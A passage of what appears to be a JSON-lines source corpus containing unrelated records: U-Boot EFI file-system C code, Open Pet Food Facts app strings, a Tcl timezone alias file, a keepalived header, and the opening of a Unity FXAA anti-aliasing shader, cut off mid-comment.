info_type, buffer_size, buffer);\n\n\tif (!guidcmp(info_type, &efi_file_info_guid)) {\n\t\tstruct efi_file_info *info = buffer;\n\t\tchar *filename = basename(fh);\n\t\tunsigned int required_size;\n\t\tloff_t file_size;\n\n\t\t/* check buffer size: */\n\t\trequired_size = sizeof(*info) + 2 * (strlen(filename) + 1);\n\t\tif (*buffer_size < required_size) {\n\t\t\t*buffer_size = required_size;\n\t\t\tret = EFI_BUFFER_TOO_SMALL;\n\t\t\tgoto error;\n\t\t}\n\n\t\tif (set_blk_dev(fh)) {\n\t\t\tret = EFI_DEVICE_ERROR;\n\t\t\tgoto error;\n\t\t}\n\n\t\tif (fs_size(fh->path, &file_size)) {\n\t\t\tret = EFI_DEVICE_ERROR;\n\t\t\tgoto error;\n\t\t}\n\n\t\tmemset(info, 0, required_size);\n\n\t\tinfo->size = required_size;\n\t\tinfo->file_size = file_size;\n\t\tinfo->physical_size = file_size;\n\n\t\tif (fh->isdir)\n\t\t\tinfo->attribute |= EFI_FILE_DIRECTORY;\n\n\t\tascii2unicode((u16 *)info->file_name, filename);\n\t} else if (!guidcmp(info_type, &efi_file_system_info_guid)) {\n\t\tstruct efi_file_system_info *info = buffer;\n\t\tdisk_partition_t part;\n\t\tefi_uintn_t required_size;\n\t\tint r;\n\n\t\tif (fh->fs->part >= 1)\n\t\t\tr = part_get_info(fh->fs->desc, fh->fs->part, &part);\n\t\telse\n\t\t\tr = part_get_info_whole_disk(fh->fs->desc, &part);\n\t\tif (r < 0) {\n\t\t\tret = EFI_DEVICE_ERROR;\n\t\t\tgoto error;\n\t\t}\n\t\trequired_size = sizeof(info) + 2 *\n\t\t\t\t(strlen((const char *)part.name) + 1);\n\t\tif (*buffer_size < required_size) {\n\t\t\t*buffer_size = required_size;\n\t\t\tret = EFI_BUFFER_TOO_SMALL;\n\t\t\tgoto error;\n\t\t}\n\n\t\tmemset(info, 0, required_size);\n\n\t\tinfo->size = required_size;\n\t\tinfo->read_only = true;\n\t\tinfo->volume_size = part.size * part.blksz;\n\t\tinfo->free_space = 0;\n\t\tinfo->block_size = part.blksz;\n\t\t/*\n\t\t * TODO: The volume label is not available in U-Boot.\n\t\t * Use the partition name as substitute.\n\t\t */\n\t\tascii2unicode((u16 *)info->volume_label,\n\t\t\t (const char *)part.name);\n\t} else {\n\t\tret = EFI_UNSUPPORTED;\n\t}\n\nerror:\n\treturn EFI_EXIT(ret);\n}\n\nstatic efi_status_t EFIAPI efi_file_setinfo(struct efi_file_handle *file,\n\t\t\t\t\t const efi_guid_t *info_type,\n\t\t\t\t\t efi_uintn_t buffer_size,\n\t\t\t\t\t void *buffer)\n{\n\tEFI_ENTRY(\"%p, %p, %zu, %p\", file, info_type, buffer_size, buffer);\n\n\treturn EFI_EXIT(EFI_UNSUPPORTED);\n}\n\nstatic efi_status_t EFIAPI efi_file_flush(struct efi_file_handle *file)\n{\n\tEFI_ENTRY(\"%p\", file);\n\treturn EFI_EXIT(EFI_SUCCESS);\n}\n\nstatic const struct efi_file_handle efi_file_handle_protocol = {\n\t.rev = EFI_FILE_PROTOCOL_REVISION,\n\t.open = efi_file_open,\n\t.close = efi_file_close,\n\t.delete = efi_file_delete,\n\t.read = efi_file_read,\n\t.write = efi_file_write,\n\t.getpos = efi_file_getpos,\n\t.setpos = efi_file_setpos,\n\t.getinfo = efi_file_getinfo,\n\t.setinfo = efi_file_setinfo,\n\t.flush = efi_file_flush,\n};\n\nstruct efi_file_handle *efi_file_from_path(struct efi_device_path *fp)\n{\n\tstruct efi_simple_file_system_protocol *v;\n\tstruct efi_file_handle *f;\n\tefi_status_t ret;\n\n\tv = efi_fs_from_path(fp);\n\tif (!v)\n\t\treturn NULL;\n\n\tEFI_CALL(ret = v->open_volume(v, &f));\n\tif (ret != EFI_SUCCESS)\n\t\treturn NULL;\n\n\t/* skip over device-path nodes before the file path: */\n\twhile (fp && !EFI_DP_TYPE(fp, MEDIA_DEVICE, FILE_PATH))\n\t\tfp = efi_dp_next(fp);\n\n\twhile (fp) {\n\t\tstruct efi_device_path_file_path *fdp =\n\t\t\tcontainer_of(fp, struct efi_device_path_file_path, dp);\n\t\tstruct efi_file_handle *f2;\n\n\t\tif (!EFI_DP_TYPE(fp, MEDIA_DEVICE, FILE_PATH)) {\n\t\t\tprintf(\"bad file path!\\n\");\n\t\t\tf->close(f);\n\t\t\treturn NULL;\n\t\t}\n\n\t\tEFI_CALL(ret = f->open(f, &f2, (s16 *)fdp->str,\n\t\t\t\t EFI_FILE_MODE_READ, 0));\n\t\tif (ret != EFI_SUCCESS)\n\t\t\treturn NULL;\n\n\t\tfp = efi_dp_next(fp);\n\n\t\tEFI_CALL(f->close(f));\n\t\tf = f2;\n\t}\n\n\treturn f;\n}\n\nstatic efi_status_t EFIAPI\nefi_open_volume(struct efi_simple_file_system_protocol *this,\n\t\tstruct efi_file_handle **root)\n{\n\tstruct file_system *fs = to_fs(this);\n\n\tEFI_ENTRY(\"%p, %p\", this, root);\n\n\t*root = file_open(fs, NULL, NULL, 0);\n\n\treturn EFI_EXIT(EFI_SUCCESS);\n}\n\nstruct efi_simple_file_system_protocol *\nefi_simple_file_system(struct blk_desc *desc, int part,\n\t\t struct efi_device_path *dp)\n{\n\tstruct file_system *fs;\n\n\tfs = calloc(1, sizeof(*fs));\n\tfs->base.rev = EFI_SIMPLE_FILE_SYSTEM_PROTOCOL_REVISION;\n\tfs->base.open_volume = efi_open_volume;\n\tfs->desc = desc;\n\tfs->part = part;\n\tfs->dp = dp;\n\n\treturn &fs->base;\n}\n"} +{"text": "\n\n \n https://world.openpetfoodfacts.org/\n \n https://world.openpetfoodfacts.org/contribute\n \n https://world.openpetfoodfacts.org/discover\n \n https://world.openpetfoodfacts.org/product/\n \n https://world.openpetfoodfacts.org/contributor/\n https://world.openpetfoodfacts.org/terms-of-use\n Open Pet Food Facts is a database of more than %1$s pet food products (plus the ones you will contribute) Woof. Woof.\n Open Pet Food Facts is a database of pet food products with ingredients, nutrition facts… Woof. Woof.\n Contribute to Pet Food transparency\n Scan products, take them in picture, make pet food transparency happen\n Get the facts\n Extensive information about the product you\\'ve scanned, deciphered for you\n Keep track of the product you use\n All the petfood you scan, in one handy list you can export\n Works offline\n You can add new products, even if you don\\'t have an Internet connection right now\n The product you scanned does not exist yet in Open Pet Food Facts. Please add it.\n The product you scanned does already exist in Open Pet Food Facts.\n Look at this product on Open Food Facts :\n Books are not currently supported by Open Food Facts\n - broadening your search \\n- scan and add it to Open Food Facts\n Click here to donate to Open Food Facts\n Help translate Open Food Facts\n Bring the Open Food Facts database to your language - no technical knowledge required\n Scan the products even when you are offline so as to add them to Open Pet Food Facts later. The scanned products will appear here and you will be able to send them using the button below.\n Your allergies info will never be sent to the Open Food Facts server. Also, be careful that product data may not be accurate, and detection might not be 100% accurate, so please double-check by yourself! \n \n Open Pet Food Facts Android App\n free pet food products database\n The product %1$s you scanned does not exist yet in Open Pet Food Facts. Can you add it?\n Currently on Open Pet Food Facts\n Help categorize products\n \n Add nutrition facts to compute nutrient levels\n Add a category to help complete the product\n Add a category and nutrition facts to help complete the product\n Products I have\n Products to buy\n Add to Open Pet Food Facts\n You\\'ll be able to add product to this list by scanning products, dragging the product card up and tapping on \\\"Products to buy\\\".\n You\\'ll also be able to add products to this list by searching them and clicking on the + button in the top right of the product page.\n Open Pet Food Facts logo\n Examples: Purina, Whiskas, etc…\n\n"} +{"text": "# created by tools/tclZIC.tcl - do not edit\nif {![info exists TZData(Pacific/Honolulu)]} {\n LoadTimeZoneFile Pacific/Honolulu\n}\nset TZData(:Pacific/Johnston) $TZData(:Pacific/Honolulu)\n"} +{"text": "/*\n * Soft: Keepalived is a failover program for the LVS project\n * . It monitor & manipulate\n * a loadbalanced server pool using multi-layer checks.\n *\n * Part: vrrp_if_config.c include file.\n *\n * Author: Alexandre Cassen, \n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.\n * See the GNU General Public License for more details.\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version\n * 2 of the License, or (at your option) any later version.\n *\n * Copyright (C) 2001-2017 Alexandre Cassen, \n */\n\n#ifndef _VRRP_IF_CONFIG_H\n#define _VRRP_IF_CONFIG_H 1\n\n#include \"config.h\"\n\n#include \n\n#include \"vrrp_if.h\"\n\n/* prototypes */\nextern void set_promote_secondaries(interface_t*);\nextern void reset_promote_secondaries(interface_t*);\n#ifdef _HAVE_VRRP_VMAC_\nextern void restore_rp_filter(void);\nextern void set_interface_parameters(const interface_t*, interface_t*);\nextern void reset_interface_parameters(interface_t*);\nextern void link_set_ipv6(const interface_t*, bool);\n#endif\nextern void set_ipv6_forwarding(interface_t *);\n\n#endif\n"} +{"text": "// Upgrade NOTE: replaced 'mul(UNITY_MATRIX_MVP,*)' with 'UnityObjectToClipPos(*)'\n\nShader \"Hidden/FXAA Preset 3\" {\nProperties {\n\t_MainTex (\"Base (RGB)\", 2D) = \"white\" {}\n}\n\nSubShader {\n\tPass {\n\t\tZTest Always Cull Off ZWrite Off\n\nCGPROGRAM\n#pragma vertex vert\n#pragma fragment frag\n#include \"UnityCG.cginc\"\n#pragma target 3.0\n\n// Not very practical on consoles/mobile, and PS3 Cg takes ages to compile this :(\n#pragma exclude_renderers xbox360 ps3 gles\n\n#define FXAA_HLSL_3 1\n#define FXAA_PRESET 3\n\n\n// Copyright (c) 2010 NVIDIA Corporation. All rights reserved.\n//\n// TO THE MAXIMUM EXTENT PERMITTED BY APPLICABLE LAW, THIS SOFTWARE IS PROVIDED\n// *AS IS* AND NVIDIA AND ITS SUPPLIERS DISCLAIM ALL WARRANTIES, EITHER EXPRESS\n// OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, IMPLIED WARRANTIES OF MERCHANTABILITY\n// AND FITNESS FOR A PARTICULAR PURPOSE. IN NO EVENT SHALL NVIDIA OR ITS SUPPLIERS\n// BE LIABLE FOR ANY SPECIAL, INCIDENTAL, INDIRECT, OR CONSEQUENTIAL DAMAGES\n// WHATSOEVER (INCLUDING, WITHOUT LIMITATION, DAMAGES FOR LOSS OF BUSINESS PROFITS,\n// BUSINESS INTERRUPTION, LOSS OF BUSINESS INFORMATION, OR ANY OTHER PECUNIARY LOSS)\n// ARISING OUT OF THE USE OF OR INABILITY TO USE THIS SOFTWARE, EVEN IF NVIDIA HAS\n// BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.\n\n/*============================================================================\n \n FXAA \n \n============================================================================*/\n \n/*============================================================================\n API PORTING\n============================================================================*/\n#ifndef FXAA_GLSL_120\n #define FXAA_GLSL_120 0\n#endif\n#ifndef FXAA_GLSL_130\n #define FXAA_GLSL_130 0\n#endif\n#ifndef FXAA_HLSL_3\n #define FXAA_HLSL_3 0\n#endif\n#ifndef FXAA_HLSL_4\n #define FXAA_HLSL_4 0\n#endif \n/*--------------------------------------------------------------------------*/\n#if FXAA_GLSL_120\n // Requires,\n // #version 120\n // #extension GL_EXT_gpu_shader4 : enable\n #define int2 ivec2\n #define float2 vec2\n #define float3 vec3\n #define float4 vec4\n #define FxaaBool3 bvec3\n #define FxaaInt2 ivec2\n #define FxaaFloat2 vec2\n #define FxaaFloat3 vec3\n #define FxaaFloat4 vec4\n #define FxaaBool2Float(a) mix(0.0, 1.0, (a))\n #define FxaaPow3(x, y) pow(x, y)\n #define FxaaSel3(f, t, b) mix((f), (t), (b))\n #define FxaaTex sampler2D\n#endif\n/*--------------------------------------------------------------------------*/\n#if FXAA_GLSL_130\n // Requires \"#version 130\" or better\n #define int2 ivec2\n #define float2 vec2\n #define float3 vec3\n #define float4 vec4\n #define FxaaBool3 bvec3\n #define FxaaInt2 ivec2\n #define FxaaFloat2 vec2\n #define FxaaFloat3 vec3\n #define FxaaFloat4 vec4\n #define FxaaBool2Float(a) mix(0.0, 1.0, (a))\n #define FxaaPow3(x, y) pow(x, y)\n #define FxaaSel3(f, t, b) mix((f), (t), (b))\n #define FxaaTex sampler2D\n#endif\n/*--------------------------------------------------------------------------*/\n#if FXAA_HLSL_3\n #define int2 float2\n #define FxaaInt2 float2\n #define FxaaFloat2 float2\n #define FxaaFloat3 float3\n #define FxaaFloat4 float4\n #define FxaaBool2Float(a) (a)\n #define FxaaPow3(x, y) pow(x, y)\n #define FxaaSel3(f, t, b) ((f)*(!b) + (t)*(b))\n #define FxaaTex sampler2D\n#endif\n/*--------------------------------------------------------------------------*/\n#if FXAA_HLSL_4\n #define FxaaInt2 int2\n #define FxaaFloat2 float2\n #define FxaaFloat3 float3\n #define FxaaFloat4 float4\n #define FxaaBool2Float(a) (a)\n #define FxaaPow3(x, y) pow(x, y)\n #define FxaaSel3(f, t, b) ((f)*(!b) + (t)*(b))\n struct FxaaTex { SamplerState smpl; Texture2D tex; };\n#endif\n/*--------------------------------------------------------------------------*/\n#define FxaaToFloat3(a) FxaaFloat3((a), (a), (a))\n/*--------------------------------------------------------------------------*/\nfloat4 FxaaTexLod0(FxaaTex tex, float2 pos) {\n #if FXAA_GLSL_120\n return texture2DLod(tex, pos.xy, 0.0);\n #endif\n #if FXAA_GLSL_130\n return textureLod(tex, pos.xy, 0.0);\n #endif\n #if FXAA_HLSL_3\n return tex2Dlod(tex, float4(pos.xy, 0.0, 0.0)); \n #endif\n #if FXAA_HLSL_4\n return tex.tex.SampleLevel(tex.smpl, pos.xy, 0.0);\n #endif\n}\n/*--------------------------------------------------------------------------*/\nfloat4 FxaaTexGrad(FxaaTex tex, float2 pos, float2 grad) {\n #if FXAA_GLSL_120\n return texture2DGrad(tex, pos.xy, grad, grad);\n #endif\n #if FXAA_GLSL_130\n return textureGrad(tex, pos.xy, grad, grad);\n #endif\n #if FXAA_HLSL_3\n return tex2Dgrad(tex, pos.xy, grad, grad); \n #endif\n #if FXAA_HLSL_4\n return tex.tex.SampleGrad(tex.smpl, pos.xy, grad, grad);\n #endif\n}\n/*--------------------------------------------------------------------------*/\nfloat4 FxaaTexOff(FxaaTex tex, float2 pos, int2 off, float2 rcpFrame) {\n #if FXAA_GLSL_120\n return texture2DLodOffset(tex, pos.xy, 0.0, off.xy);\n #endif\n #if FXAA_GLSL_130\n return textureLodOffset(tex, pos.xy, 0.0, off.xy);\n #endif\n #if FXAA_HLSL_3\n return tex2Dlod(tex, float4(pos.xy + (off * rcpFrame), 0, 0)); \n #endif\n #if FXAA_HLSL_4\n return tex.tex.SampleLevel(tex.smpl, pos.xy, 0.0, off.xy);\n #endif\n}\n\n/*============================================================================\n SRGB KNOBS\n------------------------------------------------------------------------------\nFXAA_SRGB_ROP - Set to 1 when applying FXAA to an sRGB back buffer (DX10/11).\n This will do the sRGB to linear transform, \n as ROP will expect linear color from this shader,\n and this shader works in non-linear color.\n============================================================================*/\n#define FXAA_SRGB_ROP 0\n\n/*============================================================================\n DEBUG KNOBS\n------------------------------------------------------------------------------\nAll debug knobs draw FXAA-untouched pixels in FXAA computed luma (monochrome).\n \nFXAA_DEBUG_PASSTHROUGH - Red for pixels which are filtered by FXAA with a\n yellow tint on sub-pixel aliasing filtered by FXAA.\nFXAA_DEBUG_HORZVERT - Blue for horizontal edges, gold for vertical edges. \nFXAA_DEBUG_PAIR - Blue/green for the 2 pixel pair choice. \nFXAA_DEBUG_NEGPOS - Red/blue for which side of center of span.\nFXAA_DEBUG_OFFSET - Red/blue for -/+ x, gold/skyblue for -/+ y.\n============================================================================*/\n#ifndef FXAA_DEBUG_PASSTHROUGH\n #define FXAA_DEBUG_PASSTHROUGH 0\n#endif \n#ifndef FXAA_DEBUG_HORZVERT\n #define FXAA_DEBUG_HORZVERT 0\n#endif \n#ifndef FXAA_DEBUG_PAIR \n #define FXAA_DEBUG_PAIR 0\n#endif \n#ifndef FXAA_DEBUG_NEGPOS\n #define FXAA_DEBUG_NEGPOS 0\n#endif\n#ifndef FXAA_DEBUG_OFFSET\n #define FXAA_DEBUG_OFFSET 0\n#endif \n/*--------------------------------------------------------------------------*/\n#if FXAA_DEBUG_PASSTHROUGH || FXAA_DEBUG_HORZVERT || FXAA_DEBUG_PAIR\n #define FXAA_DEBUG 1\n#endif \n#if FXAA_DEBUG_NEGPOS || FXAA_DEBUG_OFFSET\n #define FXAA_DEBUG 1\n#endif\n#ifndef FXAA_DEBUG\n #define FXAA_DEBUG 0\n#endif\n \n/*============================================================================\n COMPILE-IN KNOBS\n------------------------------------------------------------------------------\nFXAA_PRESET - Choose compile-in knob preset 0-5.\n------------------------------------------------------------------------------\nFXAA_EDGE_THRESHOLD - The minimum amount of local contrast required \n to apply algorithm.\n 1.0/3.0 - too little\n 1.0/4.0 - good start\n 1.0/8.0 - applies to more edges\n 1.0/16.0 - overkill\n------------------------------------------------------------------------------\nFXAA_EDGE_THRESHOLD_MIN - Trims the algorithm from processing darks.\n Perf optimization.\n 1.0/32.0 - visible limit (smaller isn't visible)\n 1.0/16.0 - good compromise\n 1.0/12.0 - upper limit (seeing artifacts)\n------------------------------------------------------------------------------\nFXAA_SEARCH_STEPS - Maximum number of search steps for end of span.\n------------------------------------------------------------------------------\nFXAA_SEARCH_ACCELERATION - How much to accelerate search,\n 1 - no acceleration\n 2 - skip by 2 pixels\n 3 - skip by 3 pixels\n 4 - skip by 4 pixels\n------------------------------------------------------------------------------\nFXAA_SEARCH_THRESHOLD - Controls when to stop searching.\n 1.0/4.0 - seems to be the best quality wise\n------------------------------------------------------------------------------\nFXAA_SUBPIX_FASTER - Turn on lower quality but faster subpix path.\n Not recomended, but used in preset 0.\n------------------------------------------------------------------------------\nFXAA_SUBPIX - Toggle subpix filtering.\n 0 - turn off\n 1 - turn on\n 2 - turn on full (ignores FXAA_SUBPIX_TRIM and CAP)\n------------------------------------------------------------------------------\nFXAA_SUBPIX_TRIM - Controls sub-pixel aliasing removal.\n 1.0/2.0 - low removal\n 1.0/3.0 - medium removal\n 1.0/4.0 - default removal\n 1.0/8.0 - high removal\n 0.0 - complete removal\n------------------------------------------------------------------------------\nFXAA_SUBPIX_CAP - Insures fine detail is not completely removed.\n This is important for the transition of sub-pixel detail,\n like fences and wires.\n 3.0/4.0 - default (medium amount of filtering)\n 7.0/8.0 - high amount of filtering\n 1.0 - no capping of sub-pixel aliasing removal\n============================================================================*/\n#ifndef FXAA_PRESET\n #define FXAA_PRESET 3\n#endif\n/*--------------------------------------------------------------------------*/\n#if (FXAA_PRESET == 0)\n #define FXAA_EDGE_THRESHOLD (1.0/4.0)\n #define FXAA_EDGE_THRESHOLD_MIN (1.0/12.0)\n #define FXAA_SEARCH_STEPS 2\n #define FXAA_SEARCH_ACCELERATION 4\n #define FXAA_SEARCH_THRESHOLD (1.0/4.0)\n #define FXAA_SUBPIX 1\n #define FXAA_SUBPIX_FASTER 1\n #define FXAA_SUBPIX_CAP (2.0/3.0)\n #define FXAA_SUBPIX_TRIM (1.0/4.0)\n#endif\n/*--------------------------------------------------------------------------*/\n#if (FXAA_PRESET == 1)\n #define FXAA_EDGE_THRESHOLD (1.0/8.0)\n #define FXAA_EDGE_THRESHOLD_MIN (1.0/16.0)\n #define FXAA_SEARCH_STEPS 4\n #define FXAA_SEARCH_ACCELERATION 3\n #define FXAA_SEARCH_THRESHOLD (1.0/4.0)\n #define FXAA_SUBPIX 1\n #define FXAA_SUBPIX_FASTER 0\n #define FXAA_SUBPIX_CAP (3.0/4.0)\n #define FXAA_SUBPIX_TRIM (1.0/4.0)\n#endif\n/*--------------------------------------------------------------------------*/\n#if (FXAA_PRESET == 2)\n #define FXAA_EDGE_THRESHOLD (1.0/8.0)\n #define FXAA_EDGE_THRESHOLD_MIN (1.0/24.0)\n #define FXAA_SEARCH_STEPS 8\n #define FXAA_SEARCH_ACCELERATION 2\n #define FXAA_SEARCH_THRESHOLD (1.0/4.0)\n #define FXAA_SUBPIX 1\n #define FXAA_SUBPIX_FASTER 0\n #define FXAA_SUBPIX_CAP (3.0/4.0)\n #define FXAA_SUBPIX_TRIM (1.0/4.0)\n#endif\n/*--------------------------------------------------------------------------*/\n#if (FXAA_PRESET == 3)\n #define FXAA_EDGE_THRESHOLD (1.0/8.0)\n #define FXAA_EDGE_THRESHOLD_MIN (1.0/24.0)\n #define FXAA_SEARCH_STEPS 16\n #define FXAA_SEARCH_ACCELERATION 1\n #define FXAA_SEARCH_THRESHOLD (1.0/4.0)\n #define FXAA_SUBPIX 1\n #define FXAA_SUBPIX_FASTER 0\n #define FXAA_SUBPIX_CAP (3.0/4.0)\n #define FXAA_SUBPIX_TRIM (1.0/4.0)\n#endif\n/*--------------------------------------------------------------------------*/\n#if (FXAA_PRESET == 4)\n #define FXAA_EDGE_THRESHOLD (1.0/8.0)\n #define FXAA_EDGE_THRESHOLD_MIN (1.0/24.0)\n #define FXAA_SEARCH_STEPS 24\n #define FXAA_SEARCH_ACCELERATION 1\n #define FXAA_SEARCH_THRESHOLD (1.0/4.0)\n #define FXAA_SUBPIX 1\n #define FXAA_SUBPIX_FASTER 0\n #define FXAA_SUBPIX_CAP (3.0/4.0)\n #define FXAA_SUBPIX_TRIM (1.0/4.0)\n#endif\n/*--------------------------------------------------------------------------*/\n#if (FXAA_PRESET == 5)\n #define FXAA_EDGE_THRESHOLD (1.0/8.0)\n #define FXAA_EDGE_THRESHOLD_MIN (1.0/24.0)\n #define FXAA_SEARCH_STEPS 32\n #define FXAA_SEARCH_ACCELERATION 1\n #define FXAA_SEARCH_THRESHOLD (1.0/4.0)\n #define FXAA_SUBPIX 1\n #define FXAA_SUBPIX_FASTER 0\n #define FXAA_SUBPIX_CAP (3.0/4.0)\n #define FXAA_SUBPIX_TRIM (1.0/4.0)\n#endif\n/*--------------------------------------------------------------------------*/\n#define FXAA_SUBPIX_TRIM_SCALE (1.0/(1.0 - FXAA_SUBPIX_TRIM))\n\n/*============================================================================\n HELPERS\n============================================================================*/\n// Return the luma, the estimation of luminance from rgb inputs.\n// This approximates luma using one FMA instruction,\n// skipping normalization and tossing out blue.\n// FxaaLuma() will range 0.0 to 2.963210702.\nfloat FxaaLuma(float3 rgb) {\n return rgb.y * (0.587/0.299) + rgb.x; } \n/*--------------------------------------------------------------------------*/\nfloat3 FxaaLerp3(float3 a, float3 b, float amountOfA) {\n return (FxaaToFloat3(-amountOfA) * b) + \n ((a * FxaaToFloat3(amountOfA)) + b); } \n/*--------------------------------------------------------------------------*/\n// Support any extra filtering before returning color.\nfloat3 FxaaFilterReturn(float3 rgb) {\n #if FXAA_SRGB_ROP\n // Do sRGB encoded value to linear conversion.\n return FxaaSel3(\n rgb * FxaaToFloat3(1.0/12.92), \n FxaaPow3(\n rgb * FxaaToFloat3(1.0/1.055) + FxaaToFloat3(0.055/1.055), \n FxaaToFloat3(2.4)),\n rgb > FxaaToFloat3(0.04045)); \n #else\n return rgb;\n #endif\n}\n \n/*============================================================================\n VERTEX SHADER\n============================================================================*/\nfloat2 FxaaVertexShader(\n// Both x and y range {-1.0 to 1.0 across screen}.\nfloat2 inPos) {\n float2 pos;\n pos.xy = (inPos.xy * FxaaFloat2(0.5, 0.5)) + FxaaFloat2(0.5, 0.5);\n return pos; } \n \n/*============================================================================\n \n PIXEL SHADER\n \n============================================================================*/\nfloat3 FxaaPixelShader(\n// Output of FxaaVertexShader interpolated across screen.\n// xy -> actual texture position {0.0 to 1.0}\nfloat2 pos,\n// Input texture.\nFxaaTex tex,\n// RCPFRAME SHOULD PIXEL SHADER CONSTANTS!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n// {1.0/frameWidth, 1.0/frameHeight}\nfloat2 rcpFrame) {\n \n/*----------------------------------------------------------------------------\n EARLY EXIT IF LOCAL CONTRAST BELOW EDGE DETECT LIMIT\n------------------------------------------------------------------------------\nMajority of pixels of a typical image do not require filtering, \noften pixels are grouped into blocks which could benefit from early exit \nright at the beginning of the algorithm. \nGiven the following neighborhood, \n \n N \n W M E\n S \n \nIf the difference in local maximum and minimum luma (contrast \"range\") \nis lower than a threshold proportional to the maximum local luma (\"rangeMax\"), \nthen the shader early exits (no visible aliasing). \nThis threshold is clamped at a minimum value (\"FXAA_EDGE_THRESHOLD_MIN\")\nto avoid processing in really dark areas. \n----------------------------------------------------------------------------*/\n float3 rgbN = FxaaTexOff(tex, pos.xy, FxaaInt2( 0,-1), rcpFrame).xyz;\n float3 rgbW = FxaaTexOff(tex, pos.xy, FxaaInt2(-1, 0), rcpFrame).xyz;\n float3 rgbM = FxaaTexOff(tex, pos.xy, FxaaInt2( 0, 0), rcpFrame).xyz;\n float3 rgbE = FxaaTexOff(tex, pos.xy, FxaaInt2( 1, 0), rcpFrame).xyz;\n float3 rgbS = FxaaTexOff(tex, pos.xy, FxaaInt2( 0, 1), rcpFrame).xyz;\n float lumaN = FxaaLuma(rgbN);\n float lumaW = FxaaLuma(rgbW);\n float lumaM = FxaaLuma(rgbM);\n float lumaE = FxaaLuma(rgbE);\n float lumaS = FxaaLuma(rgbS);\n float rangeMin = min(lumaM, min(min(lumaN, lumaW), min(lumaS, lumaE)));\n float rangeMax = max(lumaM, max(max(lumaN, lumaW), max(lumaS, lumaE)));\n float range = rangeMax - rangeMin;\n #if FXAA_DEBUG\n float lumaO = lumaM / (1.0 + (0.587/0.299));\n #endif \n if(range < max(FXAA_EDGE_THRESHOLD_MIN, rangeMax * FXAA_EDGE_THRESHOLD)) {\n #if FXAA_DEBUG\n return FxaaFilterReturn(FxaaToFloat3(lumaO));\n #endif\n return FxaaFilterReturn(rgbM); }\n #if FXAA_SUBPIX > 0\n #if FXAA_SUBPIX_FASTER\n float3 rgbL = (rgbN + rgbW + rgbE + rgbS + rgbM) * \n FxaaToFloat3(1.0/5.0);\n #else\n float3 rgbL = rgbN + rgbW + rgbM + rgbE + rgbS;\n #endif\n #endif \n \n/*----------------------------------------------------------------------------\n COMPUTE LOWPASS\n------------------------------------------------------------------------------\nFXAA computes a local neighborhood lowpass value as follows,\n \n (N + W + E + S)/4\n \nThen uses the ratio of the contrast range of the lowpass \nand the range found in the early exit check, \nas a sub-pixel aliasing detection filter. \nWhen FXAA detects sub-pixel aliasing (such as single pixel dots), \nit later blends in \"blendL\" amount \nof a lowpass value (computed in the next section) to the final result.\n----------------------------------------------------------------------------*/\n #if FXAA_SUBPIX != 0\n float lumaL = (lumaN + lumaW + lumaE + lumaS) * 0.25;\n float rangeL = abs(lumaL - lumaM);\n #endif \n #if FXAA_SUBPIX == 1\n float blendL = max(0.0, \n (rangeL / range) - FXAA_SUBPIX_TRIM) * FXAA_SUBPIX_TRIM_SCALE; \n blendL = min(FXAA_SUBPIX_CAP, blendL);\n #endif\n #if FXAA_SUBPIX == 2\n float blendL = rangeL / range; \n #endif\n #if FXAA_DEBUG_PASSTHROUGH\n #if FXAA_SUBPIX == 0\n float blendL = 0.0;\n #endif\n return FxaaFilterReturn(\n FxaaFloat3(1.0, blendL/FXAA_SUBPIX_CAP, 0.0));\n #endif \n \n/*----------------------------------------------------------------------------\n CHOOSE VERTICAL OR HORIZONTAL SEARCH\n------------------------------------------------------------------------------\nFXAA uses the following local neighborhood,\n \n NW N NE\n W M E\n SW S SE\n \nTo compute an edge amount for both vertical and horizontal directions.\nNote edge detect filters like Sobel fail on single pixel lines through M.\nFXAA takes the weighted average magnitude of the high-pass values \nfor rows and columns as an indication of local edge amount.\n \nA lowpass value for anti-sub-pixel-aliasing is computed as \n (N+W+E+S+M+NW+NE+SW+SE)/9.\nThis full box pattern has higher quality than other options.\n \nNote following this block, both vertical and horizontal cases\nflow in parallel (reusing the horizontal variables).\n----------------------------------------------------------------------------*/\n float3 rgbNW = FxaaTexOff(tex, pos.xy, FxaaInt2(-1,-1), rcpFrame).xyz;\n float3 rgbNE = FxaaTexOff(tex, pos.xy, FxaaInt2( 1,-1), rcpFrame).xyz;\n float3 rgbSW = FxaaTexOff(tex, pos.xy, FxaaInt2(-1, 1), rcpFrame).xyz;\n float3 rgbSE = FxaaTexOff(tex, pos.xy, FxaaInt2( 1, 1), rcpFrame).xyz;\n #if (FXAA_SUBPIX_FASTER == 0) && (FXAA_SUBPIX > 0)\n rgbL += (rgbNW + rgbNE + rgbSW + rgbSE);\n rgbL *= FxaaToFloat3(1.0/9.0);\n #endif\n float lumaNW = FxaaLuma(rgbNW);\n float lumaNE = FxaaLuma(rgbNE);\n float lumaSW = FxaaLuma(rgbSW);\n float lumaSE = FxaaLuma(rgbSE);\n float edgeVert = \n abs((0.25 * lumaNW) + (-0.5 * lumaN) + (0.25 * lumaNE)) +\n abs((0.50 * lumaW ) + (-1.0 * lumaM) + (0.50 * lumaE )) +\n abs((0.25 * lumaSW) + (-0.5 * lumaS) + (0.25 * lumaSE));\n float edgeHorz = \n abs((0.25 * lumaNW) + (-0.5 * lumaW) + (0.25 * lumaSW)) +\n abs((0.50 * lumaN ) + (-1.0 * lumaM) + (0.50 * lumaS )) +\n abs((0.25 * lumaNE) + (-0.5 * lumaE) + (0.25 * lumaSE));\n bool horzSpan = edgeHorz >= edgeVert;\n #if FXAA_DEBUG_HORZVERT\n if(horzSpan) return FxaaFilterReturn(FxaaFloat3(1.0, 0.75, 0.0));\n else return FxaaFilterReturn(FxaaFloat3(0.0, 0.50, 1.0));\n #endif\n float lengthSign = horzSpan ? -rcpFrame.y : -rcpFrame.x;\n if(!horzSpan) lumaN = lumaW;\n if(!horzSpan) lumaS = lumaE;\n float gradientN = abs(lumaN - lumaM);\n float gradientS = abs(lumaS - lumaM);\n lumaN = (lumaN + lumaM) * 0.5;\n lumaS = (lumaS + lumaM) * 0.5;\n \n/*----------------------------------------------------------------------------\n CHOOSE SIDE OF PIXEL WHERE GRADIENT IS HIGHEST\n------------------------------------------------------------------------------\nThis 